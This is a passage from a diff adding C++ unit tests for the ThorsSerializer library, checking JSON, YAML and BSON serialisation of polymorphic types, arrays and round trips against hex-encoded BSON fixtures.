+ std::string str = R"({})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_EQ(nullptr, t.result); +} + +TEST(PolyMorphicSerializerUniquePointerTest, BsonQuantitiesEmpty) +{ + PolyMorphicSerializerUniquePointerTest::Quantities t{}; + //std::string str = R"({})";; + static const char strRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_EQ(nullptr, t.quantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonQuantities) +{ + PolyMorphicSerializerUniquePointerTest::Quantities t{}; + //std::string str = R"({"quantities":[15,23]})";; + static const char strRaw[] + = "\x24\x00\x00\x00" + "\x04" "quantities\x00" + "\x13\x00\x00\x00" + "\x10" "0\x00" "\x0F\x00\x00\x00" + "\x10" "1\x00" "\x17\x00\x00\x00" + "\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_NE(nullptr, t.quantities); + EXPECT_EQ(15, (*t.quantities)[0]); + EXPECT_EQ(23, (*t.quantities)[1]); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonAbstractTourResultEmpty) +{ + PolyMorphicSerializerUniquePointerTest::AbstractTourResult t{}; + //std::string str = R"({})";; + static const char strRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_EQ(nullptr, t.maxQuantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonAbstractTourResult) +{ + PolyMorphicSerializerUniquePointerTest::AbstractTourResult t{}; + //std::string str = R"({"maxQuantities":{}})";; + static const char strRaw[] + = "\x19\x00\x00\x00" + "\x03" "maxQuantities\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_EQ(nullptr, t.maxQuantities->quantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonAbstractTourResultWithQuantities) +{ + PolyMorphicSerializerUniquePointerTest::AbstractTourResult t{}; + //std::string str = R"({"maxQuantities":{"quantities":[34,56]}})";; + static const char strRaw[] + = "\x38\x00\x00\x00" + "\x03" "maxQuantities\x00" + "\x24\x00\x00\x00" + "\x04" "quantities\x00" + "\x13\x00\x00\x00" + "\x10" "0\x00" "\x22\x00\x00\x00" + "\x10" "1\x00" "\x38\x00\x00\x00" + "\x00" + "\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_NE(nullptr, t.maxQuantities->quantities); + EXPECT_EQ(34, (*t.maxQuantities->quantities)[0]); + EXPECT_EQ(56, (*t.maxQuantities->quantities)[1]); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonTourResultEmpty) +{ + PolyMorphicSerializerUniquePointerTest::TourResult t{}; + //std::string str = R"({})";; + static const char strRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_EQ(nullptr, t.maxQuantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonTourResult) +{ + PolyMorphicSerializerUniquePointerTest::TourResult t{}; + //std::string str = R"({"maxQuantities":{}})";; + static const char strRaw[] + = "\x19\x00\x00\x00" + "\x03" "maxQuantities\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_EQ(nullptr, t.maxQuantities->quantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonTourResultWithQuantities) +{ + PolyMorphicSerializerUniquePointerTest::TourResult t{}; + //std::string str = R"({"maxQuantities":{"quantities":[34,56]}})";; + static const char strRaw[] + = "\x38\x00\x00\x00" + "\x03" "maxQuantities\x00" + "\x24\x00\x00\x00" + "\x04" "quantities\x00" + "\x13\x00\x00\x00" + "\x10" "0\x00" "\x22\x00\x00\x00" + "\x10" "1\x00" "\x38\x00\x00\x00" + "\x00" + "\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_NE(nullptr, t.maxQuantities->quantities); + EXPECT_EQ(34, (*t.maxQuantities->quantities)[0]); + EXPECT_EQ(56, (*t.maxQuantities->quantities)[1]); +} +TEST(PolyMorphicSerializerUniquePointerTest, BsonTourEmpty) +{ + PolyMorphicSerializerUniquePointerTest::Tour t{}; + //std::string str = R"({})";; + static const char strRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string str(std::begin(strRaw), std::end(strRaw) - 1); + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::bsonImporter(t, false); + EXPECT_EQ(nullptr, t.result); +} + + diff --git a/Extern/include/ThorsSerializer/test/PolymorphicTest.cpp b/Extern/include/ThorsSerializer/test/PolymorphicTest.cpp new file mode 100644 index 0000000..80677cc --- /dev/null +++ b/Extern/include/ThorsSerializer/test/PolymorphicTest.cpp @@ -0,0 +1,330 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Serialize.tpp" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include +#include + +namespace PolymorphicTest +{ +struct Vehicle +{ + Vehicle(){} + Vehicle(int speed) + : speed(speed) + {} + int speed; + ThorsAnvil_PolyMorphicSerializer(PolymorphicTest::Vehicle); +}; +struct Car: public Vehicle +{ + Car(){} + Car(int speed, std::string const& make) + : Vehicle(speed) + , make(make) + {} + std::string make; + ThorsAnvil_PolyMorphicSerializer(PolymorphicTest::Car); +}; +struct Bike: public Vehicle +{ + Bike(){} + Bike(int speed, int stroke) + : Vehicle(speed) + , stroke(stroke) + {} + int stroke; + ThorsAnvil_PolyMorphicSerializer(PolymorphicTest::Bike); +}; +struct User +{ + int age; + Vehicle* transport; +}; +} + +ThorsAnvil_MakeTrait(PolymorphicTest::Vehicle, speed); +ThorsAnvil_ExpandTrait(PolymorphicTest::Vehicle, PolymorphicTest::Car, make); +ThorsAnvil_ExpandTrait(PolymorphicTest::Vehicle, PolymorphicTest::Bike, stroke); +ThorsAnvil_MakeTrait(PolymorphicTest::User, age, transport); + +TEST(PolymorphicTest, JsonNullPointer) +{ + PolymorphicTest::User user1{10, nullptr}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, false); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":null})"); +} +TEST(PolymorphicTest, JsonVehiclePointer) +{ + PolymorphicTest::User user1{10, new PolymorphicTest::Vehicle(12)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, false); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":{"__type":"PolymorphicTest::Vehicle","speed":12}})"); +} +TEST(PolymorphicTest, JsonCarPointer) +{ + PolymorphicTest::User user1{10, new PolymorphicTest::Car(16, "Turbo")}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, false); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":{"__type":"PolymorphicTest::Car","speed":16,"make":"Turbo"}})"); +} + +TEST(PolymorphicTest, JsonBikePointer) +{ + PolymorphicTest::User user1{10, new PolymorphicTest::Bike(18, 7)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(user1, false); + std::string result = data.str(); + + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"age":10,"transport":{"__type":"PolymorphicTest::Bike","speed":18,"stroke":7}})"); +} + +TEST(PolymorphicTest, JsonReadNull) +{ + std::stringstream stream(R"({"age":10,"transport":null})"); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(12)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + EXPECT_EQ(user1.transport, nullptr); +} + +TEST(PolymorphicTest, JsonReadVehicle) +{ + std::stringstream stream(R"({"age":10,"transport":{"__type":"PolymorphicTest::Vehicle","speed":12}})"); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(13)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 12); +} + +TEST(PolymorphicTest, JsonReadCar) +{ + std::stringstream stream(R"({"age":10,"transport":{"__type":"PolymorphicTest::Car","speed":16,"make":"Turbo"}})"); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(14)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 16); + + PolymorphicTest::Car* car = dynamic_cast(user1.transport); + ASSERT_NE(car, nullptr); + EXPECT_EQ(car->make, "Turbo"); +} + +TEST(PolymorphicTest, JsonReadBike) +{ + std::stringstream stream(R"({"age":10,"transport":{"__type":"PolymorphicTest::Bike","speed":18,"stroke":7}})"); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(15)}; + + stream >> ThorsAnvil::Serialize::jsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 18); + + PolymorphicTest::Bike* bike = dynamic_cast(user1.transport); + ASSERT_NE(bike, nullptr); + EXPECT_EQ(bike->stroke, 7); +} + +TEST(PolymorphicTest, BsonNullPointer) +{ + PolymorphicTest::User user1{10, nullptr}; + + std::stringstream data(std::ios_base::out | std::ios_base::binary);; + data << ThorsAnvil::Serialize::bsonExporter(user1, false); + std::string result = data.str(); + + static const char expectedRaw[] + = "\x19\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x0A" "transport\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + // R"({"age":10,"transport":null})"); +} +TEST(PolymorphicTest, BsonVehiclePointer) +{ + PolymorphicTest::User user1{10, new PolymorphicTest::Vehicle(12)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::bsonExporter(user1, false); + std::string result = data.str(); + + static const char expectedRaw[] + = "\x4E\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x35\x00\x00\x00" + "\x02" "__type\x00" "\x19\x00\x00\x00" "PolymorphicTest::Vehicle\x00" + "\x10" "speed\x00" "\x0C\x00\x00\x00" + "\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"({"age":10,"transport":{"__type":"PolymorphicTest::Vehicle","speed":12}})"); +} +TEST(PolymorphicTest, BsonCarPointer) +{ + PolymorphicTest::User user1{10, new PolymorphicTest::Car(16, "Turbo")}; + + std::stringstream data; + data << ThorsAnvil::Serialize::bsonExporter(user1, false); + std::string result = data.str(); + + static const char expectedRaw[] + = "\x5A\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x41\x00\x00\x00" + "\x02" "__type\x00" "\x15\x00\x00\x00" "PolymorphicTest::Car\x00" + "\x10" "speed\x00" "\x10\x00\x00\x00" + "\x02" "make\x00" "\x06\x00\x00\x00" "Turbo\x00" + "\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"({"age":10,"transport":{"__type":"PolymorphicTest::Car","speed":16,"make":"Turbo"}})"); +} + +TEST(PolymorphicTest, BsonBikePointer) +{ + PolymorphicTest::User user1{10, new PolymorphicTest::Bike(18, 7)}; + + std::stringstream data; + data << ThorsAnvil::Serialize::bsonExporter(user1, false); + std::string result = data.str(); + + static const char expectedRaw[] + = "\x57\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x3E\x00\x00\x00" + "\x02" "__type\x00" "\x16\x00\x00\x00" "PolymorphicTest::Bike\x00" + "\x10" "speed\x00" "\x12\x00\x00\x00" + "\x10" "stroke\x00" "\x07\x00\x00\x00" + "\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"({"age":10,"transport":{"__type":"PolymorphicTest::Bike","speed":18,"stroke":7}})"); +} + +TEST(PolymorphicTest, BsonReadNull) +{ + static const char inputRaw[] + = "\x19\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x0A" "transport\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + //std::stringstream stream(R"({"age":10,"transport":null})"); + std::stringstream stream(input); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(12)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + EXPECT_EQ(user1.transport, nullptr); +} + +TEST(PolymorphicTest, BsonReadVehicle) +{ + static const char inputRaw[] + = "\x4E\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x35\x00\x00\x00" + "\x02" "__type\x00" "\x19\x00\x00\x00" "PolymorphicTest::Vehicle\x00" + "\x10" "speed\x00" "\x0C\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + //std::stringstream stream(R"({"age":10,"transport":{"__type":"PolymorphicTest::Vehicle","speed":12}})"); + std::stringstream stream(input); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(13)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 12); +} + +TEST(PolymorphicTest, BsonReadCar) +{ + static const char inputRaw[] + = "\x5A\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x41\x00\x00\x00" + "\x02" "__type\x00" "\x15\x00\x00\x00" "PolymorphicTest::Car\x00" + "\x10" "speed\x00" "\x10\x00\x00\x00" + "\x02" "make\x00" "\x06\x00\x00\x00" "Turbo\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + //std::stringstream stream(R"({"age":10,"transport":{"__type":"PolymorphicTest::Car","speed":16,"make":"Turbo"}})"); + std::stringstream stream(input); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(14)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 16); + + PolymorphicTest::Car* car = dynamic_cast(user1.transport); + ASSERT_NE(car, nullptr); + EXPECT_EQ(car->make, "Turbo"); +} + +TEST(PolymorphicTest, BsonReadBike) +{ + static const char inputRaw[] + = "\x57\x00\x00\x00" + "\x10" "age\x00" "\x0A\x00\x00\x00" + "\x03" "transport\x00" + "\x3E\x00\x00\x00" + "\x02" "__type\x00" "\x16\x00\x00\x00" "PolymorphicTest::Bike\x00" + "\x10" "speed\x00" "\x12\x00\x00\x00" + "\x10" "stroke\x00" "\x07\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + //std::stringstream stream(R"({"age":10,"transport":{"__type":"PolymorphicTest::Bike","speed":18,"stroke":7}})"); + std::stringstream stream(input); + PolymorphicTest::User user1 {12, new PolymorphicTest::Vehicle(15)}; + + stream >> ThorsAnvil::Serialize::bsonImporter(user1, false); + EXPECT_EQ(user1.age, 10); + ASSERT_NE(user1.transport, nullptr); + EXPECT_EQ(user1.transport->speed, 18); + + PolymorphicTest::Bike* bike = dynamic_cast(user1.transport); + ASSERT_NE(bike, nullptr); + EXPECT_EQ(bike->stroke, 7); +} + + diff --git a/Extern/include/ThorsSerializer/test/RoundTripTest.cpp b/Extern/include/ThorsSerializer/test/RoundTripTest.cpp new file mode 100644 index 0000000..c836311 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/RoundTripTest.cpp @@ -0,0 +1,322 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/BinaryParserTest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "YamlThor.h" + +namespace TA=ThorsAnvil::Serialize; +using TA::ParserInterface; + + +TEST(RoundTripTest, JsonMap) +{ + using ThorsAnvil::Serialize::PrinterInterface; + BinaryParserTest::Base base { 10, 1024}; + std::stringstream stream; + + stream << TA::jsonExporter(base, PrinterInterface::OutputType::Stream); + + std::string expected(R"({"ace":10,"val":1024})"); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + BinaryParserTest::Base base2 {}; + stream >> TA::jsonImporter(base2, false); + EXPECT_EQ(10, base2.ace); + EXPECT_EQ(1024, base2.val); +} + +TEST(RoundTripTest, JsonParent) +{ + using ThorsAnvil::Serialize::PrinterInterface; + BinaryParserTest::Derived deri; + deri.ace = 10; + deri.val = 1024; + deri.der = 56789; + deri.flt = 234.875; + std::stringstream stream; + + stream << TA::jsonExporter(deri, PrinterInterface::OutputType::Stream); + + std::string expected(R"({"ace":10,"val":1024,"der":56789,"flt":234.875})"); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + BinaryParserTest::Derived deri2 {}; + stream >> TA::jsonImporter(deri2, false); + EXPECT_EQ(10, deri2.ace); // 56789 + EXPECT_EQ(1024, deri2.val); // 1131077632 + EXPECT_EQ(56789, deri2.der); // 10 + EXPECT_EQ(234.875, deri2.flt); // 1.43493e-42 +} +TEST(RoundTripTest, JsonArray) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::vector data { 10, 1024, 9, 367, 12, 34}; + std::stringstream stream; + + stream << TA::jsonExporter(data, PrinterInterface::OutputType::Stream); + + std::string expected(R"([10,1024,9,367,12,34])"); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + std::vector data2 {}; + stream >> TA::jsonImporter(data2, false); + EXPECT_EQ(10, data2[0]); + EXPECT_EQ(1024, data2[1]); + EXPECT_EQ(9, data2[2]); + EXPECT_EQ(367, data2[3]); + EXPECT_EQ(12, data2[4]); + EXPECT_EQ(34, data2[5]); +} +TEST(RoundTripTest, JsonValue) +{ + using ThorsAnvil::Serialize::PrinterInterface; + int data = 68456231; + std::stringstream stream; + + stream << TA::jsonExporter(data, PrinterInterface::OutputType::Stream); + + std::string expected("68456231"); + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + int data2; + stream >> TA::jsonImporter(data2, false); + EXPECT_EQ(68456231, data2); +} +TEST(RoundTripTest, YamlMap) +{ + using ThorsAnvil::Serialize::PrinterInterface; + BinaryParserTest::Base base { 10, 1024}; + std::stringstream stream; + + stream << TA::yamlExporter(base, PrinterInterface::OutputType::Stream); + + std::string expected("--- {ace: 10, val: 1024}\n...\n"); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + BinaryParserTest::Base base2 {}; + stream >> TA::yamlImporter(base2, false); + EXPECT_EQ(10, base2.ace); + EXPECT_EQ(1024, base2.val); +} + +TEST(RoundTripTest, YamlParent) +{ + using ThorsAnvil::Serialize::PrinterInterface; + BinaryParserTest::Derived deri; + deri.ace = 10; + deri.val = 1024; + deri.der = 56789; + deri.flt = 234.875; + std::stringstream stream; + + stream << TA::yamlExporter(deri, PrinterInterface::OutputType::Stream); + + std::string expected("--- {ace: 10, val: 1024, der: 56789, flt: 234.875}\n...\n"); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + BinaryParserTest::Derived deri2 {}; + stream >> TA::yamlImporter(deri2, false); + EXPECT_EQ(10, deri2.ace); // 56789 + EXPECT_EQ(1024, deri2.val); // 1131077632 + EXPECT_EQ(56789, deri2.der); // 10 + EXPECT_EQ(234.875, deri2.flt); // 1.43493e-42 +} +TEST(RoundTripTest, YamlArray) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::vector data { 10, 1024, 9, 367, 12, 34}; + std::stringstream stream; + + stream << TA::yamlExporter(data, PrinterInterface::OutputType::Stream); + + std::string expected("--- [10, 1024, 9, 367, 12, 34]\n...\n"); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + std::vector data2 {}; + stream >> TA::yamlImporter(data2, false); + EXPECT_EQ(10, data2[0]); + EXPECT_EQ(1024, data2[1]); + EXPECT_EQ(9, data2[2]); + EXPECT_EQ(367, data2[3]); + EXPECT_EQ(12, data2[4]); + EXPECT_EQ(34, data2[5]); +} +TEST(RoundTripTest, YamlValue) +{ + using ThorsAnvil::Serialize::PrinterInterface; + int data = 68456231; + std::stringstream stream; + + stream << TA::yamlExporter(data, PrinterInterface::OutputType::Stream); + + std::string expected("--- 68456231\n...\n"); + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + int data2; + stream >> TA::yamlImporter(data2, false); + EXPECT_EQ(68456231, data2); +} + +TEST(RoundTripTest, BsonMap) +{ + using ThorsAnvil::Serialize::PrinterInterface; + BinaryParserTest::Base base { 10, 1024}; + std::stringstream stream; + + stream << TA::bsonExporter(base, PrinterInterface::OutputType::Stream); + + //std::string expected(R"({"ace":10,"val":1024})"); + static const char expectedRaw[] + = "\x17\x00\x00\x00" // doc size + "\x10" /*Integer*/ "ace\x00" /* ace - fieldName*/ "\x0A\x00\x00\x00" /* 10 */ + "\x10" /*Integer*/ "val\x00" /* val - fieldName*/ "\x00\x04\x00\x00" /* 1024 */ + "\x00" // doc terminator + ; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + BinaryParserTest::Base base2 {}; + stream >> TA::bsonImporter(base2, false); + EXPECT_EQ(10, base2.ace); + EXPECT_EQ(1024, base2.val); +} + +TEST(RoundTripTest, BsonParent) +{ + using ThorsAnvil::Serialize::PrinterInterface; + BinaryParserTest::Derived deri; + deri.ace = 10; + deri.val = 1024; + deri.der = 56789; + deri.flt = 234.875; + std::stringstream stream; + + stream << TA::bsonExporter(deri, PrinterInterface::OutputType::Stream); + + //std::string expected(R"({"ace":10,"val":1024,"der":56789,"flt":234.875})"); + static const char expectedRaw[] + = "\x2D\x00\x00\x00" // Length + "\x10" "ace\x00" "\x0A\x00\x00\x00" + "\x10" "val\x00" "\x00\x04\x00\x00" + "\x10" "der\x00" "\xD5\xDD\x00\x00" + "\x01" "flt\x00" "\x00\x00\x00\x00\x00\x5C\x6D\x40" + "\x00"; // Null Terminator + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + BinaryParserTest::Derived deri2 {}; + stream >> TA::bsonImporter(deri2, false); + EXPECT_EQ(10, deri2.ace); // 56789 + EXPECT_EQ(1024, deri2.val); // 1131077632 + EXPECT_EQ(56789, deri2.der); // 10 + EXPECT_EQ(234.875, deri2.flt); // 1.43493e-42 +} +TEST(RoundTripTest, BsonArray) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::vector data { 10, 1024, 9, 367, 12, 34}; + std::stringstream stream; + + stream << TA::bsonExporter(data, PrinterInterface::OutputType::Stream); + + //std::string expected(R"([10,1024,9,367,12,34])"); + static const char expectedRaw[] + = "\x2F\x00\x00\x00" + "\x10" "0\x00" "\x0A\x00\x00\x00" + "\x10" "1\x00" "\x00\x04\x00\x00" + "\x10" "2\x00" "\x09\x00\x00\x00" + "\x10" "3\x00" "\x6F\x01\x00\x00" + "\x10" "4\x00" "\x0C\x00\x00\x00" + "\x10" "5\x00" "\x22\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + + + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + std::vector data2 {}; + stream >> TA::bsonImporter(data2, false); + EXPECT_EQ(10, data2[0]); + EXPECT_EQ(1024, data2[1]); + EXPECT_EQ(9, data2[2]); + EXPECT_EQ(367, data2[3]); + EXPECT_EQ(12, data2[4]); + EXPECT_EQ(34, data2[5]); +} +TEST(RoundTripTest, BsonValue) +{ + using ThorsAnvil::Serialize::PrinterInterface; + int data = 68456231; + std::stringstream stream; + + stream << TA::bsonExporter(data, PrinterInterface::OutputType::Stream); + + //std::string expected("68456231"); + static const char expectedRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x27\x8F\x14\x04" // 0x04148F27 + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected.size(), stream.str().size()); + for(int loop =0;loop < expected.size(); ++loop) + { + EXPECT_EQ(expected[loop], stream.str()[loop]); + } + + int data2; + stream >> TA::bsonImporter(data2, false); + EXPECT_EQ(68456231, data2); +} diff --git a/Extern/include/ThorsSerializer/test/SerArrayTest.cpp b/Extern/include/ThorsSerializer/test/SerArrayTest.cpp new file mode 100644 index 0000000..f0df283 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerArrayTest.cpp @@ -0,0 +1,139 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +using namespace ThorsAnvil::Serialize; + +TEST(SerArrayTest, JsonArrayEmpty) +{ + std::stringstream stream("[]"); + std::array data; + + stream >> jsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerArrayTest, JsonArrayOfIntSerialize) +{ + std::array data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << jsonExporter(data, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} + +TEST(SerArrayTest, JsonArrayOfIntDeSerialize) +{ + std::array data; + std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + + stream >> jsonImporter(data, false); + + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + +TEST(SerArrayTest, BsonArrayEmpty) +{ + //std::stringstream stream("[]"); + static const char inputRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + std::array data; + + stream >> bsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerArrayTest, BsonArrayOfIntSerialize) +{ + std::array data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << bsonExporter(data, false); + + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" 